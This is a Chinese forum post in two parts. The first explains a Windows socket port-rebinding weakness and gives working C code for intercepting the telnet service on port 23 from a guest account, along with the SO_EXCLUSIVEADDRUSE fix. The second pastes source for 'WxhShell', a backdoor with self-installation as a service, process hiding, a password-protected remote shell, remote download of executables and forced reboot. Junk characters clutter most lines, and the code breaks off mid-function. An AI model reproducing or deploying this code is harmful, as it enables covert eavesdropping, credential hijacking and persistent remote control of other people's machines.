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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $*)(8Cl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b;;Kxi:7$}  
'S D|ObBY  
  saddr.sin_family = AF_INET; &Cpxo9-  
*DI:MBJY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;7`um  
rRG\:<a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K#C56k q&  
D*r Zaqy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f}ij=Y9  
pB7Z;&9  
  这意味着什么?意味着可以进行如下的攻击: 8YLZ)k'  
t5v)6|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GH+FZ (F  
;s B:s9M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U W)&Eky  
FjLv*K[#d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 . N} }cJq  
@NwM+^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f{5| }PL  
SU}oKii /  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V #\ZS{'J  
iGeT^!N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W!0  
bOIM0<(h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,Yprk%JT  
Eno2<<  
  #include CU^3L|f2N  
  #include @C [|'[xQ  
  #include ,~?A. 5  
  #include    iK:qPrk-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -L50kk>h  
  int main() P<JkRX  
  { !#gE'(J;c  
  WORD wVersionRequested; 7{6.  
  DWORD ret; [W;dguh  
  WSADATA wsaData; RT A=|q  
  BOOL val; qg:I+"u  
  SOCKADDR_IN saddr; Y~SlipY_  
  SOCKADDR_IN scaddr; n*4X/K  
  int err; %oKqK >S)  
  SOCKET s; } 9s  
  SOCKET sc;  glX2L ~  
  int caddsize; ;Y&?ixx  
  HANDLE mt; XaS_3d  
  DWORD tid;   ^PR,TR.  
  wVersionRequested = MAKEWORD( 2, 2 ); @ZPTf>J}  
  err = WSAStartup( wVersionRequested, &wsaData ); k^\ &.63(  
  if ( err != 0 ) { 3udIe$.Q  
  printf("error!WSAStartup failed!\n"); ?BvI/H5d  
  return -1; 8+cpNX  
  } ` +UMZc  
  saddr.sin_family = AF_INET; y-q?pqt  
   o9d$ 4s@/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;Hp'x_xQ  
*vE C,)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TY[d%rMm  
  saddr.sin_port = htons(23); GJ_)Cl+5E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~@?-|xLqQ  
  { [ .uaO  
  printf("error!socket failed!\n"); GE+csnA2  
  return -1; ugPI1'f  
  } <$2zr4  
  val = TRUE; 29657k8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "g1;TT:1~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T`{MQ:s  
  { 9<c4y4#y  
  printf("error!setsockopt failed!\n"); ;C3?Ic  
  return -1; FS+^r\)  
  } {^MAdC_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m$qC 8z]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oYErG] ,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fqsp1m$  
Cj\+u\U#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PR6uw  
  { i8@e}O I  
  ret=GetLastError(); Y8{1?LO  
  printf("error!bind failed!\n"); TaJn2cC^  
  return -1; na:^7:I  
  } gH)B` @  
  listen(s,2); $uB(@Ft.  
  while(1)  CyDf[C)=  
  { lfeWtzOf  
  caddsize = sizeof(scaddr); [E1|jcmQ  
  //接受连接请求 o"M^ sKz47  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :I(gz~u6  
  if(sc!=INVALID_SOCKET) )nxIxr0d-  
  { kzpbs?<;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ts!aKx  
  if(mt==NULL) w=o m7%J@l  
  { -\C6j  
  printf("Thread Creat Failed!\n"); Qnx92   
  break; o xu9v/  
  } K05Y;URbd  
  } Qs X59d  
  CloseHandle(mt); ;*H~Yb0  
  } )'|W[Sh?  
  closesocket(s); nqJV1h  
  WSACleanup(); bXLa~r4\  
  return 0; Ayt!a+J  
  }   F <Z=%M3e  
  DWORD WINAPI ClientThread(LPVOID lpParam) ',7Z1O  
  { ,)G+h#Y[*  
  SOCKET ss = (SOCKET)lpParam; q\Kdu5x{  
  SOCKET sc; =8_TOvSJ4p  
  unsigned char buf[4096]; vqZM89 xY  
  SOCKADDR_IN saddr; 31Mc<4zI8  
  long num; ]3jH^7[?  
  DWORD val; TFPq(i  
  DWORD ret; %k)I =|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "0)G|pZI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pT$AdvI]  
  saddr.sin_family = AF_INET; &uW.V+3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); # |[@Due  
  saddr.sin_port = htons(23); `.WKU"To  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %$ ?Q%  
  { d's`~HOU2  
  printf("error!socket failed!\n"); *3Z#r  
  return -1; tTp`e0L*m  
  } XhV"<&v  
  val = 100; O#Hz5 A5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !iOu07<n&D  
  {  +@7R,8  
  ret = GetLastError(); EA#!h'-s  
  return -1; L-gF$it\*b  
  } E |3aiC,5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !,uw./8@Ku  
  { `Db}q^mQ  
  ret = GetLastError(); zZiVBUmE<  
  return -1; JdEb_c3S  
  } _'a4I;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TY?io@  
  { x^BBK'  
  printf("error!socket connect failed!\n"); (@ sKE  
  closesocket(sc); n\9*B##  
  closesocket(ss); n(VMGCZPV  
  return -1; !W^II>Y  
  } -bfd><bs  
  while(1) [' 1?'*  
  { 7B`0mK3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c7wgjQ[   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R.;59s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >z$|O>j  
  num = recv(ss,buf,4096,0); ]!w52kF7  
  if(num>0) 3i~{x[Jc  
  send(sc,buf,num,0); r'?&VS-Cj  
  else if(num==0) t$iU|^'uV  
  break; D40VJ3TUc  
  num = recv(sc,buf,4096,0); MWf%Lh;R  
  if(num>0) b1!%xdy_T  
  send(ss,buf,num,0); R!CUR~F  
  else if(num==0) v*v&f!Ym&s  
  break; Kn|dnq|G  
  } )dcGV$4t[  
  closesocket(ss); *A`^ C  
  closesocket(sc); 6j#5Ag:  
  return 0 ; Qz;" b!  
  } rE~O}2a#H  
t[~i})yS  
/ KM+PeO  
========================================================== !<ucwWY,  
tWI hbt  
下边附上一个代码,,WXhSHELL c2"OpI  
YN[D^;}  
========================================================== ' ?t{-z,  
t-/^O  
#include "stdafx.h" IRB;Q(Z   
`0N/ /Q  
#include <stdio.h> \g/E4U .+  
#include <string.h> :;QLoZh^  
#include <windows.h> [MG:Ym).2`  
#include <winsock2.h>  >TgO|mq  
#include <winsvc.h> P) #rvTDRw  
#include <urlmon.h> F!8425oAw  
F{H y@7  
#pragma comment (lib, "Ws2_32.lib") d[de5Xra  
#pragma comment (lib, "urlmon.lib") 0c) 19Ig  
YQJ_t@0C  
#define MAX_USER   100 // 最大客户端连接数 [ ]NAV  
#define BUF_SOCK   200 // sock buffer QH:i)v*  
#define KEY_BUFF   255 // 输入 buffer ~Tolz H!  
uIBV1Qz  
#define REBOOT     0   // 重启 lM]7@A  
#define SHUTDOWN   1   // 关机 a*`J]{3G  
$[e*0!e  
#define DEF_PORT   5000 // 监听端口 r@aFB@   
S7R^%Wck/6  
#define REG_LEN     16   // 注册表键长度 ruVm8 BO  
#define SVC_LEN     80   // NT服务名长度 K\PS$  
x($1pAE  
// 从dll定义API gV0ZZ"M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ff30%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N]~q@x;<)3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fpUX @b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "]% L{a P  
89l}6p/L  
// wxhshell配置信息 3%k+<ho(  
struct WSCFG { N?p $-{  
  int ws_port;         // 监听端口 )erPp@  
  char ws_passstr[REG_LEN]; // 口令 h2 y@xnn  
  int ws_autoins;       // 安装标记, 1=yes 0=no UHHe~L  
  char ws_regname[REG_LEN]; // 注册表键名 JdnZY.{S0  
  char ws_svcname[REG_LEN]; // 服务名 3[$VW+YV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .KV?;{~q@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LT!4pD:a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'tc$#f^:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z|.. hZG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P`0aU3pl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =y ff.3mW\  
4CqZvd C  
}; <K~#@.^`  
|<S9nZg%p  
// default Wxhshell configuration *|cvx:GO  
struct WSCFG wscfg={DEF_PORT, p n)5neX{  
    "xuhuanlingzhe", Sc(2c.HO*  
    1, mGX;JOjZ  
    "Wxhshell", 59LIK&w  
    "Wxhshell", iJAW| dw}  
            "WxhShell Service", h$3Y,-4  
    "Wrsky Windows CmdShell Service", ~lMsD~$sO  
    "Please Input Your Password: ", qe0@tKim  
  1, {=kA8U  
  "http://www.wrsky.com/wxhshell.exe", ITTC}  
  "Wxhshell.exe" v^pE= f*/  
    }; L/shF}<  
+] uY  
// 消息定义模块 a)xN(xp##  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _-^@Jx[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {.sF&(e   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zOcMc{w0   
char *msg_ws_ext="\n\rExit."; /bVI'fT  
char *msg_ws_end="\n\rQuit."; 7dLPy[8";t  
char *msg_ws_boot="\n\rReboot..."; 'del|"h!M  
char *msg_ws_poff="\n\rShutdown..."; p?%G|Q  
char *msg_ws_down="\n\rSave to "; dM)fr  
G$q=WM!%#s  
char *msg_ws_err="\n\rErr!"; H7WKnn@  
char *msg_ws_ok="\n\rOK!"; t+pI<c^]y  
RNPqW,B!0  
char ExeFile[MAX_PATH]; R8a xdV9(  
int nUser = 0; q\ ?6-?Mr  
HANDLE handles[MAX_USER]; y8sI @y6  
int OsIsNt; <I} k%q'  
1}N5WBp  
SERVICE_STATUS       serviceStatus; Z)HQlm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5(,WN  
UJQ!~g.y]  
// 函数声明 n1v%S"^  
int Install(void);  ,}bC  
int Uninstall(void); 7oUYRqd  
int DownloadFile(char *sURL, SOCKET wsh); 4&?%"2  
int Boot(int flag); BPW:W }  
void HideProc(void); g{&ux k);  
int GetOsVer(void); OUD<+i,  
int Wxhshell(SOCKET wsl); ,5nrovv  
void TalkWithClient(void *cs); \aG>(Mr  
int CmdShell(SOCKET sock); ";Lpf]<  
int StartFromService(void); he/FtkU  
int StartWxhshell(LPSTR lpCmdLine); :R _(+EK1  
pNDL:vMWP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3ZC[H'|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7;Wj ^#  
6$IAm#  
// 数据结构和表定义 q4VOK 'N  
SERVICE_TABLE_ENTRY DispatchTable[] = LJT+tb?K  
{ ' e-FJ')|  
{wscfg.ws_svcname, NTServiceMain}, QkA79%;j  
{NULL, NULL} @o8\`G  
}; .L8S_Mz  
H -`7T;t~  
// 自我安装 K'y;j~`-  
int Install(void) jn]{|QZ  
{ )@Ly{cw   
  char svExeFile[MAX_PATH]; Iu%S><'+  
  HKEY key; CFVe0!\  
  strcpy(svExeFile,ExeFile); &a O3N  
#[2]B8NZ  
// 如果是win9x系统,修改注册表设为自启动 b" p,~{  
if(!OsIsNt) { 7Rq;V=2YV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Xao{o(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CfAX,f"ZP  
  RegCloseKey(key); bd9]'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,1od]]>(O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Ocyrn  
  RegCloseKey(key); 5gi`&t`  
  return 0; Wh"oL;O  
    } !\CoJ.5=  
  } ^;N +"oq!y  
} s fazrz`h  
else { #;H+Kb5O  
.0nL; o  
// 如果是NT以上系统,安装为系统服务 R}BHRmSQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'AHI;Z~Gk  
if (schSCManager!=0) TR]~r2z  
{ 'Exj|Y&  
  SC_HANDLE schService = CreateService POdG1;)  
  ( UT+B*?,h  
  schSCManager, /9;)zI  
  wscfg.ws_svcname, 7\eN 8+  
  wscfg.ws_svcdisp, -k= 02?0p+  
  SERVICE_ALL_ACCESS, Ly lw('zZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C;M.dd  
  SERVICE_AUTO_START, nxCwg>  
  SERVICE_ERROR_NORMAL, !|hv49!H  
  svExeFile, 2?#IwT'  
  NULL, n a_Y<R`  
  NULL, }h>QkV,{2  
  NULL, pGh2 4E  
  NULL, 8I3"68c_a  
  NULL <S%M*j  
  ); -Y{P"!p0  
  if (schService!=0) nUD)G<v  
  { ZEp UHdin  
  CloseServiceHandle(schService); IA! ( 'Ks  
  CloseServiceHandle(schSCManager); 7 i,}F|#8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sd xl@  
  strcat(svExeFile,wscfg.ws_svcname); s7#w5fe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \5cAOBja  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ._Wm%'uX  
  RegCloseKey(key); Z25^+)uf*U  
  return 0; pS;jrq I#  
    } 1 f).J  
  } Q&rpW:^v  
  CloseServiceHandle(schSCManager); 6MqJy6  
} \|RP-8  
} J[ du>1D  
s9?klJg  
return 1; a=T_I1  
} w-pdpbHV  
y7txIe!<5  
// 自我卸载  Q47Rriw  
int Uninstall(void) + v{<<  
{ ]N,n7v+}  
  HKEY key; $d'GCzYvZ  
g`k_o<'JC  
if(!OsIsNt) { 43^%f-J 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E80C0Q+V  
  RegDeleteValue(key,wscfg.ws_regname); HI*xk  
  RegCloseKey(key); s8Xort&   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FE,&_J"  
  RegDeleteValue(key,wscfg.ws_regname); IxHusB  
  RegCloseKey(key); =rFgOdj  
  return 0; 3FR'N%+  
  } a`|&rggN  
} J.N%=-8  
} 8HS1^\~(6l  
else { VnAJOR7lrx  
wK!4:]rhG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 18jI6$DY  
if (schSCManager!=0) 7;ZSeQ yC  
{ 9l5l"Wj&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^(r?k_i/  
  if (schService!=0) L&H 4fy!>  
  { |f# ~#Y2v  
  if(DeleteService(schService)!=0) { CXwDG_e  
  CloseServiceHandle(schService); 6lpfk&  
  CloseServiceHandle(schSCManager); 7g^=   
  return 0; <nOK#;O)  
  } ,IX:u1mO  
  CloseServiceHandle(schService); f$[6]7P  
  } yS%IE>?  
  CloseServiceHandle(schSCManager); BrcT`MM[(=  
} I"eXoqh  
} rZm|7A)i  
(sSMH6iCif  
return 1; why;1z>V  
} :80!-F*\  
GdVq+,Ge  
// 从指定url下载文件 C(qqGK{  
int DownloadFile(char *sURL, SOCKET wsh) uU=O0?'zq  
{ a*@ 6G  
  HRESULT hr; f^z/s6I0  
char seps[]= "/"; S4508l  
char *token; YtI 2Vr/9  
char *file; _1S^A0ft  
char myURL[MAX_PATH]; `uo'w:Q  
char myFILE[MAX_PATH]; G'T/I\tB  
u|t<f`ze  
strcpy(myURL,sURL); F$T@OT6  
  token=strtok(myURL,seps); yu"enA  
  while(token!=NULL) 1'@/ jR  
  { tEhYQZ  
    file=token; K"B2 SsC  
  token=strtok(NULL,seps); r*'a-2A u  
  } i'aV=E5  
Rl@k~;VV  
GetCurrentDirectory(MAX_PATH,myFILE); xrd@GTaI  
strcat(myFILE, "\\"); pV bgjJI  
strcat(myFILE, file); W=fs"<  
  send(wsh,myFILE,strlen(myFILE),0); xO"fg9a  
send(wsh,"...",3,0); gI a/sD2m>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?$ T! =e"  
  if(hr==S_OK) s=9gp$9m  
return 0; -F\xZ  
else `&]<_Jc1  
return 1; 'S]7:/CI  
mv_N ns  
} '_!j9A]g  
Q[+&n*  
// 系统电源模块 <J" 7ufHSQ  
int Boot(int flag) XG2&_u&  
{ SUwSZ@l^|  
  HANDLE hToken; (:v|(Gn/  
  TOKEN_PRIVILEGES tkp; Qvo(2(  
O&h3=?O&B  
  if(OsIsNt) { =g| e- XC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t-7^deG'/n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +s?0yH-%p  
    tkp.PrivilegeCount = 1; |eH >55 b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e%. Xya#\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hg$t,\j  
if(flag==REBOOT) { ~u| k1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C":i56  
  return 0; wi]ya\(*yl  
} t:y} 7un  
else { 7 $AEh+f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ernZfd{H  
  return 0; 9ReH@5_bGM  
} W3K&C[f  
  } r,F~Vwa}  
  else { yM}b  
if(flag==REBOOT) { R(_UR)G0 @  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3>LyEXOW  
  return 0; U^+xCX<  
} wc@X:${  
else { .PjJ g^^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |KEq-  
  return 0;  =d07c  
} ?z,^QjQ}  
} IRy!8A=X  
fT9z 4[M  
return 1; uLFnuK  
} rz/^_dV  
A0Z<1|6r*  
// win9x进程隐藏模块 N0A PX4j  
void HideProc(void) 1NJ,If]  
{ [4Tiukk(  
022nn-~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mY[s2t  
  if ( hKernel != NULL ) g+shz{3zvz  
  { pe(31%(h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %g1{nGah  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $v|/*1S  
    FreeLibrary(hKernel); 7)iB6RB K  
  } &.XYI3Ab1  
zdY+?s)p  
return; 0a<:.}  
} ?1%/G<  
8z,i/:  
// 获取操作系统版本 :5 XNV6^|  
int GetOsVer(void) v4_p3&aj  
{ MZ" yjQA  
  OSVERSIONINFO winfo; %N}O Mc.W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yVds2J'w-  
  GetVersionEx(&winfo); QUa_gYp0v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g-B~" tp  
  return 1; d V+%x"[:  
  else Cm)_xnv  
  return 0; fa#xEWaFr  
} b(@[Y(_R  
F!v`._]  
// 客户端句柄模块 oq00)I1  
int Wxhshell(SOCKET wsl) o5~o Rmsr  
{ #'"zyidu  
  SOCKET wsh; F3k]*pk8w  
  struct sockaddr_in client; d) V"tSC,  
  DWORD myID; NyHHK8>  
Z:F5cXt<  
  while(nUser<MAX_USER) %C&HR2  
{ M#v#3:&5  
  int nSize=sizeof(client); gcLwQ-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _"BYnPq@wb  
  if(wsh==INVALID_SOCKET) return 1; `dB!Ia|  
96W!~w2xx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xDRNtLj<u  
if(handles[nUser]==0) ;Y:_}kN8_  
  closesocket(wsh); c,WRgXL  
else M7D@Uj&xx(  
  nUser++; 9OIX5$,S;  
  } v=n'#:k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H8^U!"~E  
IYtM'!u  
  return 0; 4=]CAO=O  
} CH |A^!Zm  
OGmOk>_  
// 关闭 socket :4o08M%  
void CloseIt(SOCKET wsh) i={ :6K?^  
{ q:OSQ~U_  
closesocket(wsh); h@nNm30i  
nUser--; w h4WII  
ExitThread(0); $L|YllD%  
} Koh`|]N  
@8[3 ]<  
// 客户端请求句柄 OC0dAxq  
void TalkWithClient(void *cs) 8)(<U/  
{ Xy_ <Yqx}  
r >%reS  
  SOCKET wsh=(SOCKET)cs; 'G3;!xk$  
  char pwd[SVC_LEN]; :\ %.x3T'  
  char cmd[KEY_BUFF]; 6U{&`8C  
char chr[1]; IfyyA  
int i,j; <@;Y.76~  
Rg/*)SKj  
  while (nUser < MAX_USER) { :H}a/ x*ur  
D9OI ",h  
if(wscfg.ws_passstr) { "wk~[>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u_0&`zq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ppv/ A4Kv  
  //ZeroMemory(pwd,KEY_BUFF); jY.iQBhjEB  
      i=0; 7|~j=,HU+Z  
  while(i<SVC_LEN) { 3:q\]]]S  
%m8;Lh- X  
  // 设置超时 >s\j/yM  
  fd_set FdRead; KEfn$\  
  struct timeval TimeOut; ujF*'*@\  
  FD_ZERO(&FdRead); l=jfgsjc  
  FD_SET(wsh,&FdRead); lYZ5FacqC  
  TimeOut.tv_sec=8; ,^dyS]!d$  
  TimeOut.tv_usec=0; vfW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *0 y|0J+ 0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }=kf52Am,}  
SG6@Rn*^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A]VcQ_e  
  pwd=chr[0]; C)2Waj}  
  if(chr[0]==0xd || chr[0]==0xa) { E1,Sr?'  
  pwd=0; ~=W|I:@  
  break; ym,UJs&  
  } n<C4-'^U[a  
  i++; #lA8yWxr  
    } & w{""'  
kYxb@Zn=|  
  // 如果是非法用户,关闭 socket M[wd.\ %  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q}G'=Q]Juz  
} aL63=y  
MMs#Y1dH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3q*y~5&I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z<@Kkbj  
<|= UrG  
while(1) { R#ayN*  
fJ!i%</V  
  ZeroMemory(cmd,KEY_BUFF); d8 1u  
f<.43kv@  
      // 自动支持客户端 telnet标准   d ]LF5*i  
  j=0; RfP>V/jy5  
  while(j<KEY_BUFF) { l#8SlRji  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tz(\|0WDQ  
  cmd[j]=chr[0]; w#v8a$tT  
  if(chr[0]==0xa || chr[0]==0xd) { Z P\A  
  cmd[j]=0; Wb!"L`m  
  break; )wU.|9o]M  
  } JX_hLy@`  
  j++; e/@tU'$  
    } )9sRDNr  
& i,on6  
  // 下载文件 #bX~.jKW  
  if(strstr(cmd,"http://")) { esCm`?qCP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8nOMyNpy~M  
  if(DownloadFile(cmd,wsh)) ,Y~{RgG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); np|3 os  
  else |1d;0*HIgX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cU\Er{ k  
  } <{rRcFR  
  else { t#s?:  
Y,O)"6ev  
    switch(cmd[0]) { R:+2}kS5e{  
  7I~Ww{  
  // 帮助 n-m+@jRz  
  case '?': { nZ?BC O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J 00<NRxj"  
    break; K-Bf=7F,  
  } J(*QtF  
  // 安装 + QcgLq  
  case 'i': { w,L PM+  
    if(Install()) sjOyg!e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tB"amv  
    else ZKKz?reM'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G{*m] 0Q  
    break; bH}6N>Fp  
    } +^% y&8e  
  // 卸载 ns_5|*'  
  case 'r': { !6_lD 0  
    if(Uninstall()) sW)C6 #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j-2`yR  
    else :O:Rfmr~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /s.O3x._'  
    break; 4^1B'>I  
    } @fR^":.h  
  // 显示 wxhshell 所在路径 uPk`9c52%  
  case 'p': { +5pK[%k  
    char svExeFile[MAX_PATH]; @DgJxY|  
    strcpy(svExeFile,"\n\r"); 6Q]c]cCu  
      strcat(svExeFile,ExeFile); [;M31b3  
        send(wsh,svExeFile,strlen(svExeFile),0); [u[`!L=  
    break; f$a%&X6"-  
    } k)D:lpxv  
  // 重启 uLV@D r   
  case 'b': { Ui6f>0?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (uG.s%I  
    if(Boot(REBOOT)) QF/A-[V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3nt&Sf  
    else { wCiDvHF5+C  
    closesocket(wsh); srfFJX7*  
    ExitThread(0); .5+*,+-  
    } ;2"#X2B  
    break; A:Z$i5%'  
    } 3ThCY`  
  // 关机 7 }`c:u~j  
  case 'd': { qJQE|VM&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |B&KT  
